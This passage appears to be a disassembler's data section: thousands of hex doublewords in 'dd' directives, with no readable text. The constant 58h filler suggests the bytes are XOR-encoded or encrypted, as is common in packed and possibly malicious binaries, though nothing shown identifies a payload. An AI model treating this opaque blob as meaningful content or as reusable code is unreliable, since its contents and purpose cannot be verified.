78585858h, 7B2D0858h, 6B7A7B28h, 7C7C6035h, 27273278h dd 60377B2Dh, 2E7B2D35h, 7D2D357Eh, 2D35782Eh, 1B58367Bh dd 2A7C5958h, 3A2B2A79h, 2D2D3164h, 76766329h, 31662A7Ch dd 7F2A7C64h, 2C7C6430h, 367F2A7Ch, 7F2C7C64h, 3A7C643Fh dd 64302A7Fh, 2A7F2A7Ch, 2C7C6436h, 64352D7Fh, 2F7F2C7Ch dd 7F2C7C64h, 2A7C643Dh, 58485867h, 0C596C0E5h, 0D8869796h dd 0DACA96C0h, 86C0D883h, 584658DBh, 7C782D11h, 78663176h dd 2C796575h, 74793121h, 65797678h, 7331212Ch, 7475637Eh dd 58212C63h, 0A39F585Fh, 0B0A3A1FDh, 5358A1FDh, 537B3658h dd 51574545h, 4E597453h, 58555877h, 5F49682Ch, 55435E58h dd 4842457Bh, 56585B43h, 0EED88B58h, 0E5E2DCFFh, 0DFFCE4EFh dd 0CAFFF3EEh, 16584A58h, 7B637853h, 7D657352h, 41667962h dd 7972787Fh, 52586561h, 0D6F4B958h, 0D0EEDCCFh, 0CED6DDD7h dd 48584858h, 383B210Ch, 202B3C29h, 3B3B2D05h, 92D2F29h dd 9E585358h, 0D3EAFBD9h, 0FFEDEDFBh, 58DFFBF9h, 0D4A5851h dd 231D3E2Fh, 3D252E24h, 0AF585558h, 0F8DBCAE8h, 0C0CBC1C6h dd 0CCCAFDD8h, 585758DBh, 0D2DFFDBEh, 0D0D7E9D2h, 0EEC9D1DAh dd 0FFDDD1CCh, 97585658h, 0C0E3F2D0h, 0F8F3F9FEh, 0EFF2C3E0h dd 5558D6E3h, 46642358h, 424F6057h, 426D5050h, 5862464Eh dd 22715856h, 18260514h, 61E151Fh, 161F1E3Dh, 58545830h dd 0DCD7E1B2h, 0C1D7FFD6h, 0D7D5D3C1h, 584858F3h, 0EAF9DF8Bh dd 0EAE7F8E5h, 0EEC6EEFFh, 0ECEAF8F8h, 585058EEh, 0C9D8EEBDh dd 0D8D0D4E9h, 585058CFh, 12033566h, 13050920h, 58565815h dd 0C7C5F2A0h, 0C5D4D3C9h, 0C1CCE3D2h, 58E1D3D3h, 8BD85852h dd 8FAFB7B0h, 0B7BCB6B1h, 585558AFh, 23240B4Dh, 23241A29h dd 83A2229h, 57580C35h, 7A4B0858h, 6D7C696Dh, 6C66615Fh dd 704D7F67h, 584B5849h, 69785A1Dh, 786F725Bh, 68726F7Ah dd 744A7973h, 6A727973h, 0A8585658h, 0FFDCCDEFh, 0C7CCC6C1h dd 0C6C7E4DFh, 5658E9CFh, 0CEEFAB58h, 0C5C2FCCDh, 0FBDCC4CFh dd 0EAC8C4D9h, 0BD585258h, 0CFD8CEC8h, 0D9938F8Eh, 5258D1D1h dd 0F1F78258h, 0B0B1F0E7h, 0EEEEE6ACh, 0D1585558h, 0B085BE92h dd 0B49CBAA2h, 0B4A397BCh, 585358B4h, 0DDEBD198h, 0F4F9EDE9h dd 0DCD1CDDFh, 19584858h, 6B5A765Ah, 7C6D787Ch, 6D6A7750h dd 7C7A7778h, 0C1585758h, 88928D82h, 0AEB38785h, 0B3B592ACh dd 58A6AFA8h, 6D2E5854h, 47406741h, 424F475Ah, 584B5447h dd 490A5856h, 63645F65h, 637E6364h, 7063666Bh, 5851586Fh dd 464F4C23h, 470D1110h, 51584F4Fh, 0C8CBA458h, 8A9697C1h dd 58C8C8C0h, 58065858h, 8EF65859h, 16585958h, 5859584Ah dd 58582C0Ch, 4B58A958h, 0D4EFBA58h, 0DFD6D8DBh, 9AD5CE9Ah dd 0D2CECFDBh, 0C0D3C8D5h, 586D58DFh, 0E3ECD782h, 0A2E7EEE0h dd 0E3A2EDF6h, 0EDEAF6F7h, 0E7F8EBF0h, 0CBA2AFA2h, 0D0CDC1CCh dd 0D6C1C7D0h, 0CCCBD2A2h, 0EED2A2ACh, 0E7F1E3E7h, 0EDE1A2AEh dd 0E1E7F0F0h, 5958ACF6h, 58BF9258h, 7A2A5846h, 594B4F46h dd 590A064Fh, 494F464Fh, 526F0A5Eh, 4B58435Ah, 4445435Eh dd 4B4F730Ah, 58595858h, 47584565h, 0F7CB9B58h, 0FEE8FAFEh dd 0FEE8BBB7h, 0EFF8FEF7h, 0EBE3DEBBh, 0EFFAE9F2h, 0BBF5F4F2h dd 0EFF5F4D6h, 584A58F3h, 0EBEEDB88h, 0E1CEFBC1h, 0FAD8EDE4h dd 0EBEDFCE7h, 58ECEDFCh, 1665585Fh, 14B0603h, 5F580909h dd 81D6E58h, 20A400Dh, 58595802h, 258E498h, 8BA9E858h dd 869D878Bh, 89A6C89Ch, 0B8CB8D85h, 0C8DBB8A7h, 9E9A8DBBh dd 0BBCB9A8Dh, 0C8B8BCA5h, 9E9A8DBBh, 0BBCB9A8Dh, 0C8B8BCA5h dd 989B81ACh, 0C8918984h, 8D8589A6h, 0BCA5BBCBh, 85ADC8B8h dd 0C8848189h, 9A8C8CA9h, 0CB9B9B8Dh, 0DBB8A7B8h, 8D9BBDC8h dd 89A6C89Ah, 0CBCB8D85h, 13585658h, 20435C43h, 60724333h dd 617C6460h, 61582177h, 35297A58h, 3B2D2E3Ch, 37263F28h dd 15081913h, 0E1C1509h, 0E143326h, 1F14081Fh, 193B5A0Eh dd 140F1519h, 1B375A0Eh, 1F1D1B14h, 193B2608h, 140F1519h dd 5F26090Eh, 5802424Ah, 390C3D0Bh, 2F173D33h, 2B2A3D36h dd 8283130h, 312E312Ah, 3D3F3D34h, 0C5585D58h, 0B6E0B6E0h dd 585D5899h, 86D086A3h, 5B58FFD0h, 54022758h, 585C580Dh dd 663F795Ch, 58595800h, 5958C4B8h, 58C2BE58h, 9AD35841h dd 9087969Dh, 0F39E9E9Ch, 0A5A1B680h, 83F3A1B6h, 0A4A0A0B2h dd 0A0B7A1BCh, 0D3585958h, 585D58AFh, 0A986D0F5h, 5D5886D0h dd 5F092C58h, 585F0970h, 8FAA585Ch, 5880F6D9h, 3D1C5859h dd 0A9585958h, 585C5883h, 76767276h, 58595876h, 59585774h dd 58143758h, 0B1925859h, 93585F58h, 0E3E7E7FBh, 58BCBCA9h dd 785B5859h, 3585F58h, 7377776Bh, 582C2C39h, 0D1B25C53h dd 0DAD1D7DAh, 0C0C2DCD7h, 9CC1C1D7h, 0DDD4DCDBh, 0DEDDD591h dd 0DEDDC2D6h, 0DDD19CDEh, 0DCDB91DFh, 0DEDDD5C6h, 0DDD19CD6h dd 0C5C591DFh, 0D0D19CC5h, 0C7C09CC0h, 0C5C5C591h, 0D1C4D39Ch dd 0D9D1D7DAh, 91C7C09Ch, 0C0DDC6C1h, 0CBD3C2DFh, 0DFDDD19Ch dd 0C7C0D191h, 9CC2DDC6h, 0DC91C7DCh, 0D79CC5D7h, 0D19CD5D5h dd 0C591DFDDh, 0C29CC5C5h, 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h dd 0C4D391DFh, 0D1D7DAD1h, 0C7C09CD9h, 0D1C4D391h, 0D9D1D7DAh dd 0C8DBD09Ch, 0C5C5C591h, 0DBD0D09Ch, 0C7C09CDCh, 0C1D3DF91h dd 9FC0D7C6h, 0DDD19CCAh, 0C5C591DFh, 0DDC29CC5h, 0C1DBC8DCh dd 0C1DFD3D1h, 0DFDDD19Ch, 0C5C5C591h, 0DCD3D09Ch, 0D3D09FD9h dd 0D7C7C3DCh, 0DCD3D19Fh, 9CD3D6D3h, 0C591D3D1h, 0C29CC5C5h dd 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh, 0DFD09CC5h dd 0DDD19CDDh, 0D3C291DFh, 0DED3C2CBh, 0DFDDD19Ch, 0D3D0D791h dd 0DDD19CCBh, 0C5C591DFh, 0D3D09CC5h, 0D4DDD9DCh, 0C7D6D3DFh dd 0D19CD3C0h, 0C591DFDDh, 0D19CC5C5h, 9CD1D0DBh, 91DFDDD1h dd 9CC5C5C5h, 9CD0C6C4h, 0C591C7C0h, 0D19CC5C5h, 0DCD3D0C5h dd 0DDD19CD9h, 0DDD591DFh, 0DDC2D6DEh, 0D19CDEDEh, 0C591DFDDh dd 0C29CC5C5h, 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh dd 0DFDF9CC5h, 0D9DCD3D0h, 91C7C09Ch, 9CC5C5C5h, 0D3DBDCC7h dd 0C7C0C6C1h, 0C7C09CDFh, 0DEDDD591h, 0DEDDC2D6h, 0DDD19CDEh dd 0C5C591DFh, 0DDC29CC5h, 0C1DBC8DCh, 0C1DFD3D1h, 0DFDDD19Ch dd 0C5C5C591h, 0C0DDC59Ch dd 0D3D0D6DEh, 0DD9CD9DCh, 0C591D5C0h, 0D19CC5C5h, 0DBD6DCD3h dd 0D7C6D3D6h, 0DBC0D7C4h, 0C0D7DBD4h, 0DFDDD19Ch, 0C5C5C591h dd 0DCDDC29Ch, 0D1C1DBC8h, 9CC1DFD3h, 91DFDDD1h, 9CC5C5C5h dd 0D9DCD3D0h, 0DCDBD4DDh, 9CD3DBD6h, 91DFDDD1h, 9CC5C5C5h dd 0D3D0D1DBh, 0C09CD9DCh, 0C4D391C7h, 0D1D7DAD1h, 0C7C09CD9h dd 0C5C5C591h, 0DCD7C49Ch, 0C1C0DDD6h, 0D7DFD3DCh, 91C1C59Ch dd 9CC5C5C5h, 9CD0DFD9h, 0C591C7C0h, 0DC9CC5C5h, 0D3DFC6D7h dd 0C6C1DBD5h, 0D19CC0D7h, 0D991DFDDh, 0D3D9C4D3h, 0DCD7D1C8h dd 9CC0D7C6h, 91DFDDD1h, 9CC5C5C5h, 0D6DCD7C4h, 0DCC1C0DDh dd 9CD7DFD3h, 0DF91C1C5h, 0DEDCDDCBh, 0D3D7DCDBh, 0C7DDD1D1h dd 80C1C6DCh, 0D0D0D39Ch, 0D3DCCBD7h, 0DCDDDBC6h, 0D19CDED3h dd 0D9C79CDDh, 0DEDCDD91h, 9FD7DCDBh, 0DBC1C7D0h, 0C1C1D7DCh dd 0DDDEDE9Ch, 0C6C1D6CBh, 0D19CD0C1h, 0D9C79CDDh, 0C5C5C591h dd 0DEDED39Ch, 0D0D3DAD3h, 0D3D0D6D3h, 0D19CD9DCh, 0C591DFDDh dd 0C09CC5C5h, 0D19CD1D0h, 0C591DFDDh, 0C29CC5C5h, 0DBC8DCDDh dd 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh, 0DA9C83C5h, 9CD1D0C1h dd 0D991D3D1h, 0D7C0D0D5h, 0D1CAD3DEh, 9CD0C7DEh, 0CB91C7C0h dd 0DDD0DFD3h, 0C8DBD09Ch, 0D6DBD991h, 0D09FC1DDh, 9CD9DCD3h dd 0C591C7C0h, 0DE9CC5C5h, 0DBD6D1D0h, 0C6D1D7C0h, 0C7D3DE9Ch dd 0C6DCD7C0h, 0D0DCD3DBh, 9CD9DCD3h, 0D091D3D1h, 0DED1C0D3h dd 9CC1CBD3h, 91DFDDD1h, 0D3C6DDC6h, 0D4CBDEDEh, 0D0D7D7C0h dd 0DBD9DCD3h, 0D19CD5DCh, 0C591DFDDh, 0DC9CC5C5h, 0D19CD1D0h dd 818791D3h, 0D9DCD3D0h, 0DFDDD19Ch, 0C5C5C591h, 0DCD7C49Ch dd 0C1C0DDD6h, 0D7DFD3DCh, 91DCC49Ch, 9CC5C5C5h, 9FD080D0h dd 0C1C7C0C6h, 0DDD19CC6h, 0C5C591DFh, 0D7C49CC5h, 0C0DDD6DCh dd 0DFD3DCC1h, 0C1C59CD7h, 0D7C2DD91h, 0DCD3D0DCh, 0DDD19CD9h dd 0D3C691DFh, 0D7DC9FC6h, 0D3D0C6D4h, 0C09CD9DCh, 0D7C191C7h dd 0D0D3DED1h, 91C7C09Ch, 0C7D1D7C1h, 0CBC6DBC0h, 9CD0D3DEh dd 0D491C7C0h, 0D3DAC6D7h, 0D09CD6C0h, 0D591C8DBh, 0CADCDDC0h dd 0DCD3DEC2h, 9CC1C6D7h, 0C491C7C0h, 0DDD6DCD7h, 0D3DCC1C0h dd 0C49CD7DFh, 5C5891DCh, 17022758h, 4A587F1Fh, 25145758h dd 223272Eh, 38252739h, 23343223h, 36233613h, 0B9585358h dd 0C9C0CBDAh, 978B8ACDh, 58D5D5DDh, 35565853h, 22262F24h dd 32786465h, 4B583A3Ah, 41632458h, 56516750h, 504A4156h dd 474B5674h, 6D575741h, 58515840h, 0C6DDF8AFh, 0C6E9CADBh dd 4958CAC3h, 0B99BDC58h, 0AFB598A8h, 0B9AE9AB7h, 0BDAC8FB9h dd 589DB9BFh, 0CC8B584Eh, 0E5CEFFEEh, 0E4F9E2FDh, 0E5EEE6E5h dd 0F9FFD8FFh, 0F8ECE5E2h, 584B58CAh, 79684A0Dh, 797E745Eh dd 64496068h, 796E687Fh, 4C747F62h, 52585458h, 6263715h dd 2223F37h, 133A2633h, 0DD585058h, 0AFA9AEB1h, 8AB3B8B1h dd 0E4585658h, 0A89081A3h, 8885878Bh, 828AAD81h, 5558A58Bh dd 0F0D29558h, 0FCE7D1E1h, 0ECC1F0E3h, 58D4F0E5h, 9DDE5853h dd 0BBADB1B2h, 0BAB0BF96h, 5658BBB2h, 9BADFE58h, 9297B88Ah dd 9791AE9Bh, 8C9B8A90h, 79585458h, 1D181635h, 0B1B1035h dd 38000B18h, 65585558h, 3F091137h, 280A1700h, 170A0800h dd 585F581Ch, 106386Fh, 0C0A172Ah, 0E6585258h, 928F9EA3h dd 83948EB2h, 4C588287h, 61460F58h, 637D6A7Bh, 6A646C60h dd 6C61466Bh, 6A626A7Dh, 55587B61h, 0E216758h, 2290309h dd 0E21131Fh, 5826020Bh, 0D2955855h, 0ECC6E1F0h, 0F8F0E1E6h dd 0F0F8FCC1h, 47585458h, 13332200h, 42C242Eh, 33293228h dd 95584858h, 0D8E1F0D2h, 0F9E0F1FAh, 0FBF4DDF0h, 0D4F0F9F1h dd 7F585358h, 0B0D1629h, 39131E0Ah, 581A1A0Dh, 783B5853h dd 4F5A5E49h, 57527D5Eh, 52587A5Eh, 0D5EAA558h, 0D0E8CBC0h dd 0E4DDC0D1h, 0DC585358h, 9AA8B99Bh, 8FB9B0B5h, 58B9A6B5h dd 25635853h, 2F060611h, 211010Ah, 54581A11h, 0C0FFA958h dd 0C8DCDDDBh, 0C5C5E8C5h, 4858CAC6h, 14367158h, 1C1E3205h dd 14050401h, 1C103F03h, 53583014h, 1E216E58h, 1C3E000Bh dd 1D0B0D01h, 584F581Dh, 0D1C6F2B4h, 0C2DAF1D1h, 0DADBC6DDh dd 0C0DAD1D9h, 0DDC6C0E7h, 0F5C7D3DAh, 0E3585658h, 878D8AA5h dd 90918AA5h, 8F8AA597h, 5458A286h, 97A6E558h, 80918480h dd 809190A8h, 4C58A49Dh, 87A0E958h, 859B8C9Dh, 8C828A86h dd 8A8CAD8Dh, 8C848C9Bh, 4C589D87h, 0C5EAAC58h, 0C5F8C9C0h dd 0C3F8C9C1h, 0D8DFD5FFh, 0C5F8C1C9h, 5558C9C1h, 0B694D358h dd 0A1B685A7h, 0BDBCBAA0h, 5892AB96h, 5B185851h, 5E616877h dd 597D7471h, 0C7584D58h, 91B3A280h, 0AAB2ABA8h, 0A1A98EA2h dd 0A6AAB5A8h, 0A9A8AEB3h, 58505886h, 7C784F1Dh, 71745B79h dd 584B5878h, 0ACA19FC8h, 0A9A08BADh, 85A79CBAh, 0A1BCA4BDh dd 0ADBCB18Ah, 56585758h, 263B3915h, 10332437h, 2333A3Fh dd 58333B3Fh, 4E095849h, 714C7D6Ch, 664A7D60h, 615D6C6Dh dd 6D686C7Bh, 53584B58h, 273F261Eh, 272A113Ah, 43C0736h dd 1036373Ah, 5821323Bh, 0E5A95851h, 0C5C8CAC6h, 0CCCCDBEFh dd 0D7584B58h, 0A3BEB680h, 84A5B891h, 0BBB0B9BEh, 0BDB598B2h dd 58A3B4B2h, 5F18584Ah, 77556C7Dh, 7D746D7Ch, 7D74715Eh dd 7D757956h, 58535859h, 666F4E0Ah, 4C6F7E6Fh, 4B6F6663h dd 0A5585458h, 0E0D1C0F6h, 0D7CAD7D7h, 0C0C1CAE8h, 0E9585158h dd 8D8780AFh, 9A8685AAh, 5852588Ch, 7975561Ah, 765B767Bh dd 58797576h, 86C1584Ah, 0B482B5A4h, 0AFA4B3B3h, 0B3A995B5h dd 88A5A0A4h, 585E58A5h, 7104795Ch, 587D0479h, 0D08C585Fh dd 0E8A2A6FCh, 5E58E0E0h, 80F7C58h, 81D1F0Eh, 29585E58h dd 4A444C44h, 50585059h, 57522458h, 4A4D5654h, 5F584250h dd 7F7C0F58h, 7B61667Dh, 585F5869h, 0B2A8B3C7h, 0B5A2B7B7h dd 4E585C58h, 27213A2Fh, 0E0585E58h, 8C8C818Dh, 5D58838Fh dd 56572458h, 58404A45h, 3F60585Eh, 5050C13h, 585C5810h dd 988F9BFDh, 585C5898h, 0B1BEADDFh, 585E58BBh, 0DDD5DDB0h dd 58C0DDD3h, 9EED585Eh, 9D8E9F99h, 585E5894h, 0DDD5DDB0h dd 58C4D5C3h, 0E2815852h, 0EDE5F5F3h, 0EDE5AFEDh, 585258EDh dd 0D5D3C2A1h, 8FCDCDC5h, 58CDCDC5h, 58C65858h, 7653585Dh dd 20760F20h, 0A5585D58h, 80F9D680h, 585C58D6h, 7C530520h dd 585C580Ah, 5B024461h, 584C583Dh, 98BFBCECh, 0AF899E83h dd 988D899Eh, 9F82A589h, 8F828D98h, 58535889h, 191E1D6Dh dd 0E081F02h, 1010943h, 3B585358h, 544F484Bh, 15585E49h dd 5857575Fh, 0E883585Eh, 0F5AEF2E8h, 585058FBh, 0E4C89EBBh dd 9EC3CFD6h, 584958CEh, 0F0EACD84h, 0E1EAF6E1h, 0FCC1A4F0h dd 0F6EBE8F4h, 4858F6E1h, 0B0ABF858h, 0BE8C9DBFh, 9D9C9497h dd 8C99A88Ah, 5358B990h, 42592A58h, 1946464Fh, 464E0418h dd 58535846h, 636E7506h, 34356A6Ah, 6A6A6228h, 61585958h dd 585D583Dh, 0D2D79DB3h, 4E58D2C7h, 5D723158h, 115A5258h dd 54525F7Eh, 115E6511h, 455F5E72h, 54445F58h, 0B1585E58h dd 0E5E5E4F3h, 4658FFFEh, 160B4E58h, 0F1C071Eh, 1071Ah dd 1A0F0A6Eh, 4444440Bh, 6E031A0Fh, 6E00071Eh, 0B0A010Dh dd 4B585E58h, 1F0A1F18h, 58580802h, 5C584858h, 45440158h dd 5E585548h, 2E2C1E58h, 6B2C303Bh, 0C2585C58h, 0B7F0ECE7h dd 0E0585858h, 21585058h dd 636C6E62h, 796E636Eh, 1E585858h, 0EB585058h, 0A9A6A4A8h dd 0B3A4A9A4h, 65585E58h, 31243136h, 3658262Ch, 675C0958h dd 6C656B68h, 29667D29h, 617D7C68h, 73607B66h, 2C03276Ch dd 7B79297Ah, 7A6C6A66h, 6E67607Ah, 676C6A29h, 297B6C7Dh dd 7C297A60h, 656B6867h, 667D296Ch, 7D7C6829h, 607B6661h dd 70296C73h, 297B7C66h, 6D7B686Ah, 277A2C29h, 62684403h dd 666A296Ch, 6A6C7B7Bh, 6766607Dh, 6768297Ah, 7B7D296Dh dd 6E682970h, 27676068h, 0BE585258h, 0CACDDFF3h, 0DFFDCCDBh dd 5C58DACCh, 0ABB4E258h, 5958A3B1h, 583F1F58h, 93C0585Eh dd 89948194h, 584D5883h, 2B2B010Bh, 44595B2Bh, 58584E48h dd 2B4C4542h, 47424A4Dh, 5E584F4Eh, 0E3E4B758h, 0F4FEE3F6h dd 63585858h, 0FA585E58h, 0AEBBAEA9h, 5E58B9B3h, 57573C58h dd 444A114Dh, 41585058h, 2D313904h, 3324332Eh, 99585158h dd 0D6FAF6DDh, 0FAFCF3FBh, 585658EDh, 0A0A396C2h, 0A6ACAB95h dd 0AE81B5ADh, 58B1B1A3h, 58777762h, 0F8012A58h, 97AEF0C3h dd 581AFC49h, 0D75291F8h, 195EB861h, 8861C2A6h, 58D4FC49h dd 0D75291F8h, 0FF4DF861h, 883DDF6Ch, 5812CA49h, 0F49FF778h dd 8AA0315h, 97C0ED68h, 58DAE349h, 96E558F2h, 0CEEADC53h dd 42E2ECE9h, 58C4EE48h, 456C58F2h, 5A5C585Fh, 58585858h dd 58589858h, 58585858h, 741C7D1Eh, 887E936Bh, 58DBEC49h dd 59811798h, 8AA4741h, 97C0ED68h, 58DAE349h, 96E558F2h dd 8A9A753h, 97C0ED68h, 58DAE349h, 96E558F2h, 8A9AF53h dd 97C0ED68h, 58DAE349h, 96E558F2h, 8AA1853h, 97C0ED68h dd 58DAE349h, 96E558F2h, 741C7F53h, 887E936Bh, 58DBEC49h dd 59811798h, 93315841h, 9715CDDDh, 5854CE49h, 0B6AC9FD8h dd 585858DDh, 58585858h, 58589858h, 58585858h, 544E391Eh dd 8895F78Bh, 5866D249h, 0BA911798h, 58585836h, 51h dup(58585858h) dd 49F82858h, 2 dup(58585858h), 49F9DC58h, 49F8F458h, 49F8DC58h dd 2 dup(58585858h), 49F9F858h, 49F89858h, 12h dup(58585858h) dd 49F8B058h, 49F8A058h, 49F94C58h, 2 dup(58585858h), 49F97858h dd 49F97458h, 49F91858h, 49F91458h, 49F90058h, 49F93C58h dd 49F93458h, 49F92058h, 2 dup(58585858h), 49F8B058h, 49F8A058h dd 49F94C58h, 2 dup(58585858h), 49F97858h, 49F97458h, 49F91858h dd 49F91458h, 49F90058h, 49F93C58h, 49F93458h, 49F92058h dd 2 dup(58585858h), 1D58C358h, 82C3120h, 3D3B372Ah, 58582B2Bh dd 1F597C58h, 361D2C3Dh, 372A312Eh, 363D3536h, 2A2C0B2Ch dd 2B3F3631h, 58585819h, 0A5A2058h, 360D342Ch, 3C36312Fh dd 758D858h, 28373C3Eh, 5858363Dh, 7591758h, 363D2837h dd 3E2B3707h, 3C363930h, 58583D34h, 3E5A5558h, 2B37343Bh dd 5858583Dh, 7586158h, 31203D3Bh, 5858582Ch, 355A1658h dd 37343439h, 5858583Bh, 2A5A3858h, 3D2B3139h, 2B5A3F58h dd 2D3A2C3Dh, 5858583Eh, 2B5A2D58h, 283B2A2Ch, 58585821h dd 0A1D1358h, 6B141D16h, 343C766Ah, 58585834h, 49F85858h dd 2 dup(49F85848h), 0C0A1B48h, 7614141Ch, 5814141Ch, 49F84C58h dd 7 dup(49F84C48h), 58585848h, 0Dh dup(58585858h), 58587858h dd 58585858h, 58587858h, 58485858h, 58B05858h, 58A85858h dd 59745858h, 78h dup(58585858h), 58485858h, 5859B458h dd 0D4686958h, 0A568AB68h, 4B695D68h, 79694169h, 0EE697F69h dd 0A469B769h, 566A5969h, 7B6A4B6Ah, 666A716Ah, 3A6AEC6Ah dd 2D6B336Bh, 0F16BDF6Bh, 0E66BED6Bh, 496B9F6Bh, 696C436Ch dd 0D6C1B6Ch, 2B6C076Ch, 0D36C216Ch, 0EB6CC76Ch, 966CE26Ch dd 0B06C8D6Ch, 0A66CB76Ch, 4E6D5C6Ch, 6C6D786Dh, 6D1E6Dh dd 2D6D076Dh, 0F36DDF6Dh, 8A6D906Dh, 0B46D856Dh, 406DA76Dh dd 756E7E6Eh, 1D6E616Eh, 326E156Eh, 226E2C6Eh, 0C66ECF6Eh dd 9F6EE06Eh, 0BC6E886Eh, 0A26EB26Eh, 4A6F5C6Eh, 196F406Fh dd 0A6F1E6Fh, 3F6F016Fh, 0D86F2C6Fh, 0E96FCD6Fh, 0A86F826Fh dd 0A36FAE6Fh, 46605D6Fh, 69607B60h, 1F601860h, 26602C60h dd 0EA60C260h, 0B9609C60h, 5560B760h, 79614B61h, 6D617F61h dd 0E611D61h, 34610461h, 0D361DC61h, 0F661FC61h, 9B61E161h dd 0BF619461h, 0A461A961h, 45625461h, 6F627C62h, 2626662h dd 31623862h, 0DB622562h, 0F362F962h, 9162EE62h, 83629762h dd 0B362B962h, 5862A262h, 48635263h, 79634F63h, 65636063h dd 3631563h, 21633163h, 0D663DE63h, 0FE63CC63h, 0E163F463h dd 9163E763h, 0BE63B863h, 5063A863h, 4B645564h, 64647A64h dd 2D640C64h, 0D3642264h, 0F964C964h, 0E564EF64h, 80649664h dd 0A4648764h, 54655A64h, 47654165h, 60656A65h, 11651B65h dd 3A650A65h, 37653165h, 0D9652265h, 0CB65D165h, 0F765F265h dd 8865E765h, 0B065B965h, 52665C65h, 46664066h, 6B667166h dd 2660866h, 2F662A66h, 0C366DF66h, 0EC66FA66h, 8C669666h dd 0BF66B866h, 0AF66A866h, 50675866h, 75675767h, 17676F67h dd 3670C67h, 0D2673767h, 0C467CE67h, 0E767E167h, 8E679C67h dd 0A367B267h, 58785867h, 5859D058h, 79685A58h, 64687F68h dd 4681468h, 2B683568h, 0D168DB68h, 0F168FB68h, 0E468EB68h dd 96689B68h, 0AF688C68h, 4E695768h, 61696B69h, 16696669h dd 37690769h, 0D7692D69h, 0C669CD69h, 0EA69F469h, 9169E569h dd 0B569BB69h, 516A5C69h, 756A416Ah, 1B6A656Ah, 3B6A056Ah dd 246A356Ah, 0C96AD36Ah, 0E46AC76Ah, 946A9A6Ah, 5A6ABC6Ah dd 7C6B506Bh, 6F6B726Bh, 0A6B646Bh, 2C6B006Bh, 0DF6B226Bh dd 0FA6BD46Bh, 9C6BF06Bh, 8F6B926Bh, 0AA6B846Bh, 4C6BA06Bh dd 7F6C426Ch, 1A6C746Ch, 46C106Ch, 2F6C3A6Ch, 0C56CD96Ch dd 0EE6CF16Ch, 916CE66Ch, 0A06C816Ch, 1B6D4B6Ch, 166D116Dh dd 326D3B6Dh, 0D26DDB6Dh, 0F26DFB6Dh, 0B16D9B6Dh, 556E5D6Dh dd 7B6E406Eh, 696E726Eh, 36E1D6Eh, 0D96E236Eh, 0FF6EC96Eh dd 966EE96Eh, 466F406Eh, 126F656Fh, 326F086Fh, 0CD6FD66Fh dd 9F6FF66Fh, 7A6F966Fh, 3C600E60h, 25603760h, 0F8613D60h dd 9E61EA61h, 82619461h, 0C662C061h, 95629F62h, 54635C62h dd 3630C63h, 23633363h, 0C463D463h, 0EA63F463h, 18639A63h dd 4640E64h, 92649C64h, 71655564h, 0D3657765h, 0FC65CC65h dd 8765F365h, 0AF65B465h, 7C665265h, 6A667366h, 0C5663666h dd 0F266FB66h, 0B8668266h, 0A766A166h, 44674B66h, 25677267h dd 0C767DB67h, 9867EE67h, 0A9678867h, 5867A667h, 58685858h dd 5859CC58h, 77684158h, 2F683468h, 0A168B668h, 4A695868h dd 66697669h, 0A691C69h, 0DA692F69h, 0C369D169h, 0EB69F969h dd 93699D69h, 87698169h, 0A169B669h, 466A5B69h, 3C6A716Ah dd 206A296Ah, 0CA6ADA6Ah, 4E6AB06Ah, 326B6B6Bh, 0FC6BC56Bh dd 766C4C6Bh, 16C6C6Ch, 216C2A6Ch, 0C26CCB6Ch, 926CEC6Ch dd 1C6C8E6Ch, 256D126Dh, 4C6E556Dh, 746E7B6Eh, 0DA6E6D6Eh dd 716ED16Eh, 186F776Fh, 386F096Fh, 0D96F2D6Fh, 0F86FD76Fh dd 0EF6FFE6Fh, 9F6F996Fh, 53605D6Fh, 68604660h, 18606E60h dd 3E601E60h, 26602F60h, 0C260CC60h, 0EF60E960h, 96609060h dd 5960BD60h, 44614D61h, 32616B61h, 0C9612761h, 9E61C261h dd 0AC618E61h, 4C61A361h, 67627562h, 0D621062h, 2C620662h dd 0C4622762h, 0E962F062h, 88629B62h, 0B462BB62h, 53635B62h dd 4F634963h, 1C637963h, 631263h, 3D630663h, 0C7633463h dd 0EC63FF63h, 9B63E263h, 8C639163h, 0AF638263h, 7B644563h dd 64646864h, 0A641B64h, 0D0642064h, 0C664D664h, 0E564FC64h dd 8E649B64h, 0B464BE64h, 5564A664h, 7B654B65h, 66657265h dd 3651C65h, 2A653C65h, 0DF652465h, 0CE65D565h, 0FB65C565h dd 0E565EF65h, 95659F65h, 7A658B65h, 19666866h, 0A661F66h dd 3D660766h, 0D9663766h, 0E966CB66h, 8866E666h, 4A675166h dd 62674267h, 671867h, 29673967h, 0D7672F67h, 5867FC67h dd 58185858h, 58598458h, 4B685C58h, 77684168h, 1B686568h dd 3F680168h, 0DB683568h, 0FD68CA68h, 8C68F268h, 0B5688768h dd 5A68A368h, 77697969h, 7696269h, 0EF69F669h, 49699869h dd 3E6A746Ah, 0D06A346Ah, 0F16AD76Ah, 9F6A996Ah, 0AF6A876Ah dd 406B536Ah, 7A6B456Bh, 6C6B716Bh, 106B636Bh, 0A6B156Bh dd 3D6B076Bh, 806B326Bh, 0B36BBD6Bh, 506C5A6Bh, 706C436Ch dd 1D6C666Ch, 3F6C066Ch, 0C96C2C6Ch, 0F76CC66Ch, 926C996Ch dd 0B66CBD6Ch, 0A36CAD6Ch, 546D586Ch, 436D4A6Dh, 706D7A6Dh dd 116D756Dh, 3D6D066Dh, 0DC6D266Dh, 9F6D996Dh, 1D6DBE6Dh dd 0DF6ED96Eh, 0EB6EF06Eh, 856E9F6Eh, 506EBC6Eh, 6A6F726Fh dd 0B6F126Fh, 0D96F236Fh, 0CF6FD66Fh, 0E16FFB6Fh, 976FE76Fh dd 0AD6FB16Fh, 74604A6Fh, 21601360h, 0E2602760h, 82609E60h dd 5960A360h, 71614E61h, 17617761h, 2B610D61h, 0D4612161h dd 0C461CD61h, 9261FA61h, 81618861h, 5161A161h, 43624E62h dd 72627962h, 65626962h, 0F062FB62h, 9562EB62h, 1C636462h dd 3631663h, 32633963h, 26632063h, 0C063C963h, 9963E063h dd 0B9639663h, 4C645563h, 7B644264h, 6A647164h, 13646664h dd 4640F64h, 0DB643B64h, 0CC64D364h, 0E764FC64h, 0BF648E64h dd 5D64B664h, 7D655765h, 6F656A65h, 1B656465h, 0D651665h dd 3F653A65h, 21653465h, 0DC652765h, 